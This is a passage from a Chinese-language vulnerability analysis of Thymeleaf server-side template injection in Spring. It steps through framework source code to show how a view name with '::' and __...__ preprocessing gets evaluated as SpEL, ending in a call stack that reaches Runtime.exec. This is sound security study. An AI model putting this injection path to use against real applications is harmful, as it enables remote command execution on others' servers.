config = config != null ? config.combine(handlerConfig) : handlerConfig; executionChain = this .getCorsHandlerExecutionChain(request, executionChain, config); } return executionChain; } }
上面的mapping是RequestMappingInfoHandlerMapping类,进入getHandlerInternal方法
1 2 3 4 5 6 7 8 9 10 @Override protected HandlerMethod getHandlerInternal (HttpServletRequest request) throws Exception { request.removeAttribute(PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE); try { return super .getHandlerInternal(request); } finally { ProducesRequestCondition.clearMediaTypesAttribute(request); } }
调用父类即AbstractHandlerMethodMapping类的getHandlerInternal方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @Override protected HandlerMethod getHandlerInternal (HttpServletRequest request) throws Exception { String lookupPath = getUrlPathHelper().getLookupPathForRequest(request); request.setAttribute(LOOKUP_PATH, lookupPath); this .mappingRegistry.acquireReadLock(); try { HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request); return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null ); } finally { this .mappingRegistry.releaseReadLock(); } }
进入lookupHandlerMethod方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 @Nullable protected HandlerMethod lookupHandlerMethod (String lookupPath, HttpServletRequest request) throws Exception { List<Match> matches = new ArrayList <>(); List<T> directPathMatches = this .mappingRegistry.getMappingsByUrl(lookupPath); if (directPathMatches != null ) { addMatchingMappings(directPathMatches, matches, request); } if (matches.isEmpty()) { addMatchingMappings(this .mappingRegistry.getMappings().keySet(), matches, request); } if (!matches.isEmpty()) { Match bestMatch = matches.get(0 ); if (matches.size() > 1 ) { Comparator<Match> comparator = new MatchComparator (getMappingComparator(request)); matches.sort(comparator); bestMatch = matches.get(0 ); if (logger.isTraceEnabled()) { logger.trace(matches.size() + " matching mappings: " + matches); } if (CorsUtils.isPreFlightRequest(request)) { return PREFLIGHT_AMBIGUOUS_MATCH; } Match secondBestMatch = matches.get(1 ); if (comparator.compare(bestMatch, secondBestMatch) == 0 ) { Method m1 = bestMatch.handlerMethod.getMethod(); Method m2 = secondBestMatch.handlerMethod.getMethod(); String uri = request.getRequestURI(); throw new IllegalStateException ( "Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}" ); } } request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod); handleMatch(bestMatch.mapping, lookupPath, request); return bestMatch.handlerMethod; } else { return handleNoMatch(this .mappingRegistry.getMappings().keySet(), lookupPath, request); } }
进入addMatchingMappings方法
1 2 3 4 5 6 7 8 9 10 private void addMatchingMappings (Collection<T> mappings, List<Match> matches, HttpServletRequest request) { for (T mapping : mappings) { T match = getMatchingMapping(mapping, request); if (match != null ) { matches.add(new Match (match, this .mappingRegistry.getMappings().get(mapping))); } } }
lookupHandlerMethod方法执行到最后的结果 getHandlerInternal方法执行到最后 getHandler方法执行到最后 获取到handler后,回到doDispatch函数,执行下面这行代码
1 HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
进入getHandlerAdapter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 protected HandlerAdapter getHandlerAdapter (Object handler) throws ServletException { if (this .handlerAdapters != null ) { for (HandlerAdapter adapter : this .handlerAdapters) { if (adapter.supports(handler)) { return adapter; } } } throw new ServletException ("No adapter for handler [" + handler + "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler" ); }
HandlerAdapter的作用是将具体的处理程序(handler)与Spring MVC框架进行适配,以便能够正确处理请求并生成响应。它扮演了一个桥梁的角色,连接了处理程序和框架的其他组件。包括处理程序适配、参数解析与绑定、处理程序执行、异常处理等 继续返回doDispatch函数,执行下面代码
1 2 3 if (!mappedHandler.applyPreHandle(processedRequest, response)) { return ; }
进入applyPreHandle方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 boolean applyPreHandle (HttpServletRequest request, HttpServletResponse response) throws Exception { HandlerInterceptor[] interceptors = getInterceptors(); if (!ObjectUtils.isEmpty(interceptors)) { for (int i = 0 ; i < interceptors.length; i++) { HandlerInterceptor interceptor = interceptors[i]; if (!interceptor.preHandle(request, response, this .handler)) { triggerAfterCompletion(request, response, null ); return false ; } this .interceptorIndex = i; } } return true ; }
回到doDispatch函数,执行下面代码
1 mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
AbstractHandlerMethodAdapter.java的handle方法
1 2 3 4 5 6 7 @Override @Nullable public final ModelAndView handle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { return handleInternal(request, response, (HandlerMethod) handler); }
根据上面的程序可以直到ha是RequestMappingHandlerAdapter对象,进入handleInternal方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 @Override protected ModelAndView handleInternal (HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { ModelAndView mav; checkRequest(request); if (this .synchronizeOnSession) { HttpSession session = request.getSession(false ); if (session != null ) { Object mutex = WebUtils.getSessionMutex(session); synchronized (mutex) { mav = invokeHandlerMethod(request, response, handlerMethod); } } else { mav = invokeHandlerMethod(request, response, handlerMethod); } } else { mav = invokeHandlerMethod(request, response, handlerMethod); } if (!response.containsHeader(HEADER_CACHE_CONTROL)) { if (getSessionAttributesHandler(handlerMethod).hasSessionAttributes()) { applyCacheSeconds(response, this .cacheSecondsForSessionAttributeHandlers); } else { prepareResponse(response); } } return mav; }
进入invokeHandlerMethod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 @Nullable protected ModelAndView invokeHandlerMethod (HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { ServletWebRequest webRequest = new ServletWebRequest (request, response); try { WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod); ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory); ServletInvocableHandlerMethod invocableMethod = createInvocableHandlerMethod(handlerMethod); if (this .argumentResolvers != null ) { invocableMethod.setHandlerMethodArgumentResolvers(this .argumentResolvers); } if (this .returnValueHandlers != null ) { invocableMethod.setHandlerMethodReturnValueHandlers(this .returnValueHandlers); } invocableMethod.setDataBinderFactory(binderFactory); invocableMethod.setParameterNameDiscoverer(this .parameterNameDiscoverer); ModelAndViewContainer mavContainer = new ModelAndViewContainer (); mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request)); modelFactory.initModel(webRequest, mavContainer, invocableMethod); mavContainer.setIgnoreDefaultModelOnRedirect(this .ignoreDefaultModelOnRedirect); AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response); asyncWebRequest.setTimeout(this .asyncRequestTimeout); WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request); asyncManager.setTaskExecutor(this .taskExecutor); asyncManager.setAsyncWebRequest(asyncWebRequest); asyncManager.registerCallableInterceptors(this .callableInterceptors); asyncManager.registerDeferredResultInterceptors(this .deferredResultInterceptors); if (asyncManager.hasConcurrentResult()) { Object result = asyncManager.getConcurrentResult(); mavContainer = (ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0 ]; asyncManager.clearConcurrentResult(); LogFormatUtils.traceDebug(logger, traceOn -> { String formatted = LogFormatUtils.formatValue(result, !traceOn); return "Resume with async result [" + formatted + "]" ; }); invocableMethod = invocableMethod.wrapConcurrentResult(result); } invocableMethod.invokeAndHandle(webRequest, mavContainer); if (asyncManager.isConcurrentHandlingStarted()) { return null ; } return getModelAndView(mavContainer, modelFactory, webRequest); } finally { webRequest.requestCompleted(); } }
进入invokeAndHandle方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public void invokeAndHandle (ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs); setResponseStatus(webRequest); if (returnValue == null ) { if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) { disableContentCachingIfNecessary(webRequest); mavContainer.setRequestHandled(true ); return ; } } else if (StringUtils.hasText(getResponseStatusReason())) { mavContainer.setRequestHandled(true ); return ; } mavContainer.setRequestHandled(false ); Assert.state(this .returnValueHandlers != null , "No return value handlers" ); try { this .returnValueHandlers.handleReturnValue( returnValue, getReturnValueType(returnValue), mavContainer, webRequest); } catch (Exception ex) { if (logger.isTraceEnabled()) { logger.trace(formatErrorForReturnValue(returnValue), ex); } throw ex; } }
进入invokeForRequest方法
1 2 3 4 5 6 7 8 9 @Nullable public Object invokeForRequest (NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { Object[] args = this .getMethodArgumentValues(request, mavContainer, providedArgs); if (this .logger.isTraceEnabled()) { this .logger.trace("Arguments: " + Arrays.toString(args)); } return this .doInvoke(args); }
进入doInvoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @Nullable protected Object doInvoke (Object... args) throws Exception { ReflectionUtils.makeAccessible(this .getBridgedMethod()); try { return this .getBridgedMethod().invoke(this .getBean(), args); } catch (IllegalArgumentException var4) { this .assertTargetBean(this .getBridgedMethod(), this .getBean(), args); String text = var4.getMessage() != null ? var4.getMessage() : "Illegal argument" ; throw new IllegalStateException (this .formatInvokeError(text, args), var4); } catch (InvocationTargetException var5) { Throwable targetException = var5.getTargetException(); if (targetException instanceof RuntimeException) { throw (RuntimeException)targetException; } else if (targetException instanceof Error) { throw (Error)targetException; } else if (targetException instanceof Exception) { throw (Exception)targetException; } else { throw new IllegalStateException (this .formatInvokeError("Invocation failure" , args), targetException); } } }
采用反射的方式调用目标控制方法 最终来到了自己编写的控制方法 回到invokeAndHandle方法,执行
1 2 this .returnValueHandlers.handleReturnValue( returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
进入HandlerMethodReturnValueHandlerComposite.class的handleReturnValue方法
1 2 3 4 5 6 7 8 9 10 public void handleReturnValue (@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception { HandlerMethodReturnValueHandler handler = this .selectHandler(returnValue, returnType); if (handler == null ) { throw new IllegalArgumentException ("Unknown return value type: " + returnType.getParameterType().getName()); } else { handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest); } }
这里的handler为ViewNameMethodReturnValueHandler对象,进入handleReturnValue方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @Override public void handleReturnValue (@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception { if (returnValue instanceof CharSequence) { String viewName = returnValue.toString(); mavContainer.setViewName(viewName); if (isRedirectViewName(viewName)) { mavContainer.setRedirectModelScenario(true ); } } else if (returnValue != null ) { throw new UnsupportedOperationException ("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod()); } }
isRedirectViewName方法
1 2 3 protected boolean isRedirectViewName (String viewName) { return (PatternMatchUtils.simpleMatch(this .redirectPatterns, viewName) || viewName.startsWith("redirect:" )); }
回到invokeHandlerMethod方法,执行下面代码
1 return getModelAndView(mavContainer, modelFactory, webRequest);
进入RequestMappingHandlerAdapter.java的getModelAndView方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @Nullable private ModelAndView getModelAndView (ModelAndViewContainer mavContainer, ModelFactory modelFactory, NativeWebRequest webRequest) throws Exception { modelFactory.updateModel(webRequest, mavContainer); if (mavContainer.isRequestHandled()) { return null ; } ModelMap model = mavContainer.getModel(); ModelAndView mav = new ModelAndView (mavContainer.getViewName(), model, mavContainer.getStatus()); if (!mavContainer.isViewReference()) { mav.setView((View) mavContainer.getView()); } if (model instanceof RedirectAttributes) { Map<String, ?> flashAttributes = ((RedirectAttributes) model).getFlashAttributes(); HttpServletRequest request = webRequest.getNativeRequest(HttpServletRequest.class); if (request != null ) { RequestContextUtils.getOutputFlashMap(request).putAll(flashAttributes); } } return mav; }
再次回到doDispatch方法,执行下面代码
1 mappedHandler.applyPostHandle(processedRequest, response, mv);
进入applyPostHandle
1 2 3 4 5 6 7 8 9 10 11 12 void applyPostHandle (HttpServletRequest request, HttpServletResponse response, @Nullable ModelAndView mv) throws Exception { HandlerInterceptor[] interceptors = getInterceptors(); if (!ObjectUtils.isEmpty(interceptors)) { for (int i = interceptors.length - 1 ; i >= 0 ; i--) { HandlerInterceptor interceptor = interceptors[i]; interceptor.postHandle(request, response, this .handler, mv); } } }
模板渲染 回到doDispatch方法,执行下面代码,进行模板渲染
1 processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
进入processDispatchResult方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private void processDispatchResult (HttpServletRequest request, HttpServletResponse response, @Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv, @Nullable Exception exception) throws Exception { boolean errorView = false ; if (exception != null ) { if (exception instanceof ModelAndViewDefiningException) { logger.debug("ModelAndViewDefiningException encountered" , exception); mv = ((ModelAndViewDefiningException) exception).getModelAndView(); } else { Object handler = (mappedHandler != null ? mappedHandler.getHandler() : null ); mv = processHandlerException(request, response, handler, exception); errorView = (mv != null ); } } if (mv != null && !mv.wasCleared()) { render(mv, request, response); if (errorView) { WebUtils.clearErrorRequestAttributes(request); } } else { if (logger.isTraceEnabled()) { logger.trace("No view rendering, null ModelAndView returned." ); } } if (WebAsyncUtils.getAsyncManager(request).isConcurrentHandlingStarted()) { return ; } if (mappedHandler != null ) { mappedHandler.triggerAfterCompletion(request, response, null ); } }
进入render方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 protected void render (ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception { Locale locale = (this .localeResolver != null ? this .localeResolver.resolveLocale(request) : request.getLocale()); response.setLocale(locale); View view; String viewName = mv.getViewName(); if (viewName != null ) { view = resolveViewName(viewName, mv.getModelInternal(), locale, request); if (view == null ) { throw new ServletException ("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + getServletName() + "'" ); } } else { view = mv.getView(); if (view == null ) { throw new ServletException ("ModelAndView [" + mv + "] neither contains a view name nor a " + "View object in servlet with name '" + getServletName() + "'" ); } } if (logger.isTraceEnabled()) { logger.trace("Rendering view [" + view + "] " ); } try { if (mv.getStatus() != null ) { response.setStatus(mv.getStatus().value()); } view.render(mv.getModelInternal(), request, response); } catch (Exception ex) { if (logger.isDebugEnabled()) { logger.debug("Error rendering view [" + view + "]" , ex); } throw ex; } }
进入ThymeleafView对象的render方法
1 2 3 public void render (Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { this .renderFragment(this .markupSelectors, model, request, response); }
进入renderFragment方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 protected void renderFragment (Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { ServletContext servletContext = this .getServletContext(); String viewTemplateName = this .getTemplateName(); ISpringTemplateEngine viewTemplateEngine = this .getTemplateEngine(); if (viewTemplateName == null ) { throw new IllegalArgumentException ("Property 'templateName' is required" ); } else if (this .getLocale() == null ) { throw new IllegalArgumentException ("Property 'locale' is required" ); } else if (viewTemplateEngine == null ) { throw new IllegalArgumentException ("Property 'templateEngine' is required" ); } else { Map<String, Object> mergedModel = new HashMap (30 ); Map<String, Object> templateStaticVariables = this .getStaticVariables(); if (templateStaticVariables != null ) { mergedModel.putAll(templateStaticVariables); } if (pathVariablesSelector != null ) { Map<String, Object> pathVars = (Map)request.getAttribute(pathVariablesSelector); if (pathVars != null ) { mergedModel.putAll(pathVars); } } if (model != null ) { mergedModel.putAll(model); } ApplicationContext applicationContext = this .getApplicationContext(); RequestContext requestContext = new RequestContext (request, response, this .getServletContext(), mergedModel); SpringWebMvcThymeleafRequestContext thymeleafRequestContext = new SpringWebMvcThymeleafRequestContext (requestContext, request); addRequestContextAsVariable(mergedModel, "springRequestContext" , requestContext); addRequestContextAsVariable(mergedModel, "springMacroRequestContext" , requestContext); mergedModel.put("thymeleafRequestContext" , thymeleafRequestContext); ConversionService conversionService = (ConversionService)request.getAttribute(ConversionService.class.getName()); ThymeleafEvaluationContext evaluationContext = new ThymeleafEvaluationContext (applicationContext, conversionService); mergedModel.put("thymeleaf::EvaluationContext" , evaluationContext); IEngineConfiguration configuration = viewTemplateEngine.getConfiguration(); WebExpressionContext context = new WebExpressionContext (configuration, request, response, servletContext, this .getLocale(), mergedModel); String templateName; Set markupSelectors; if (!viewTemplateName.contains("::" )) { templateName = viewTemplateName; markupSelectors = null ; } else { IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration); FragmentExpression fragmentExpression; try { fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}" ); } catch (TemplateProcessingException var25) { throw new IllegalArgumentException ("Invalid template name specification: '" + viewTemplateName + "'" ); } FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression); templateName = FragmentExpression.resolveTemplateName(fragment); markupSelectors = FragmentExpression.resolveFragments(fragment); Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters(); if (nameFragmentParameters != null ) { if (fragment.hasSyntheticParameters()) { throw new IllegalArgumentException ("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'" ); } context.setVariables(nameFragmentParameters); } } String templateContentType = this .getContentType(); Locale templateLocale = this .getLocale(); String templateCharacterEncoding = this .getCharacterEncoding(); Set processMarkupSelectors; if (markupSelectors != null && markupSelectors.size() > 0 ) { if (markupSelectorsToRender != null && markupSelectorsToRender.size() > 0 ) { throw new IllegalArgumentException ("A markup selector has been specified (" + Arrays.asList(markupSelectors) + ") for a view that was already being executed as a fragment (" + Arrays.asList(markupSelectorsToRender) + "). Only one fragment selection is allowed." ); } processMarkupSelectors = markupSelectors; } else if (markupSelectorsToRender != null && markupSelectorsToRender.size() > 0 ) { processMarkupSelectors = markupSelectorsToRender; } else { processMarkupSelectors = null ; } response.setLocale(templateLocale); if (!this .getForceContentType()) { String computedContentType = SpringContentTypeUtils.computeViewContentType(request, templateContentType != null ? templateContentType : "text/html;charset=ISO-8859-1" , templateCharacterEncoding != null ? Charset.forName(templateCharacterEncoding) : null ); response.setContentType(computedContentType); } else { if (templateContentType != null ) { response.setContentType(templateContentType); } else { response.setContentType("text/html;charset=ISO-8859-1" ); } if (templateCharacterEncoding != null ) { response.setCharacterEncoding(templateCharacterEncoding); } } boolean producePartialOutputWhileProcessing = this .getProducePartialOutputWhileProcessing(); Writer templateWriter = producePartialOutputWhileProcessing ? response.getWriter() : new FastStringWriter (1024 ); viewTemplateEngine.process(templateName, processMarkupSelectors, context, (Writer)templateWriter); if (!producePartialOutputWhileProcessing) { response.getWriter().write(templateWriter.toString()); response.getWriter().flush(); } } }
由于传入的模板名包含::
,所以会使用Thymeleaf 解析器解析视图模板名称 进入StandardExpressionParser的parseExpression方法
1 2 3 4 5 6 7 8 9 public Expression parseExpression ( final IExpressionContext context, final String input) { Validate.notNull(context, "Context cannot be null" ); Validate.notNull(input, "Input cannot be null" ); return (Expression) parseExpression(context, input, true ); }
进入parseExpression 这个用于解析表达式的方法。它通过对输入字符串进行预处理,并利用 Thymeleaf 的 Expression 类来解析表达式。解析后的表达式对象会被缓存,以提高性能并避免重复解析相同的表达式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 static IStandardExpression parseExpression ( final IExpressionContext context, final String input, final boolean preprocess) { final IEngineConfiguration configuration = context.getConfiguration(); final String preprocessedInput = (preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input); final IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput); if (cachedExpression != null ) { return cachedExpression; } final Expression expression = Expression.parse(preprocessedInput.trim()); if (expression == null ) { throw new TemplateProcessingException ("Could not parse as expression: \"" + input + "\"" ); } ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression); return expression; }
进入StandardExpressionPreprocessor.preprocess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 private static final char PREPROCESS_DELIMITER = '_' ;private static final String PREPROCESS_EVAL = "\\_\\_(.*?)\\_\\_" ;private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile(PREPROCESS_EVAL, Pattern.DOTALL);static String preprocess ( final IExpressionContext context, final String input) { if (input.indexOf(PREPROCESS_DELIMITER) == -1 ) { return input; } final IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration()); if (!(expressionParser instanceof StandardExpressionParser)) { return input; } final Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input); if (matcher.find()) { final StringBuilder strBuilder = new StringBuilder (input.length() + 24 ); int curr = 0 ; do { final String previousText = checkPreprocessingMarkUnescaping(input.substring(curr,matcher.start(0 ))); final String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1 )); strBuilder.append(previousText); final IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false ); if (expression == null ) { return null ; } final Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED); strBuilder.append(result); curr = matcher.end(0 ); } while (matcher.find()); final String remaining = checkPreprocessingMarkUnescaping(input.substring(curr)); strBuilder.append(remaining); return strBuilder.toString().trim(); } return checkPreprocessingMarkUnescaping(input); }
进入Expression类的execute方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public Object execute ( final IExpressionContext context, final StandardExpressionExecutionContext expContext) { Validate.notNull(context, "Context cannot be null" ); final IStandardVariableExpressionEvaluator variableExpressionEvaluator = StandardExpressions.getVariableExpressionEvaluator(context.getConfiguration()); final Object result = execute(context, this , variableExpressionEvaluator, expContext); return LiteralValue.unwrap(result); }
逐步会到SimpleExpression类的executeSimple方法 之后的链会一直到达命名执行函数函数调用栈 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 exec:443 , Runtime (java.lang) exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) execute:129 , ReflectiveMethodExecutor (org.springframework.expression.spel.support) getValueInternal:139 , MethodReference (org.springframework.expression.spel.ast) getValueInternal:95 , MethodReference (org.springframework.expression.spel.ast) getValueRef:61 , CompoundExpression (org.springframework.expression.spel.ast) getValueInternal:91 , CompoundExpression (org.springframework.expression.spel.ast) createNewInstance:114 , ConstructorReference (org.springframework.expression.spel.ast) getValueInternal:100 , ConstructorReference (org.springframework.expression.spel.ast) getValueRef:55 , CompoundExpression (org.springframework.expression.spel.ast) getValueInternal:91 , CompoundExpression (org.springframework.expression.spel.ast) getValue:112 , SpelNodeImpl (org.springframework.expression.spel.ast) getValue:337 , SpelExpression (org.springframework.expression.spel.standard) evaluate:263 , SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression) executeVariableExpression:166 , VariableExpression (org.thymeleaf.standard.expression) executeSimple:66 , SimpleExpression (org.thymeleaf.standard.expression) execute:109 , Expression (org.thymeleaf.standard.expression) execute:138 , Expression (org.thymeleaf.standard.expression) preprocess:91 , StandardExpressionPreprocessor (org.thymeleaf.standard.expression) parseExpression:120 , StandardExpressionParser (org.thymeleaf.standard.expression) parseExpression:62 , StandardExpressionParser (org.thymeleaf.standard.expression) parseExpression:44 , StandardExpressionParser (org.thymeleaf.standard.expression) renderFragment:278 , ThymeleafView (org.thymeleaf.spring5.view) render:189 , ThymeleafView (org.thymeleaf.spring5.view) render:1373 , DispatcherServlet (org.springframework.web.servlet) processDispatchResult:1118 , DispatcherServlet (org.springframework.web.servlet) doDispatch:1057 , DispatcherServlet (org.springframework.web.servlet) doService:943 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doGet:898 , FrameworkServlet (org.springframework.web.servlet) service:626 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:733 , HttpServlet (javax.servlet.http) internalDoFilter:231 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) invoke:202 , StandardWrapperValve (org.apache.catalina.core) invoke:97 , StandardContextValve (org.apache.catalina.core) invoke:542 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:143 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:374 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:868 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1590 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1142 , ThreadPoolExecutor (java.util.concurrent) run:617 , ThreadPoolExecutor$Worker (java.util.concurrent) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
参考 Java安全之Thymeleaf SSTI分析 - Zh1z3ven - 博客园 (cnblogs.com) Thymeleaf SSTI漏洞分析 Java安全之Thymeleaf 模板注入分析 Thymeleaf一篇就够了-阿里云开发者社区 (aliyun.com) java 安全开发之 spring boot Thymeleaf 模板注入 (seebug.org)
注:本文首发于https://xz.aliyun.com/t/12969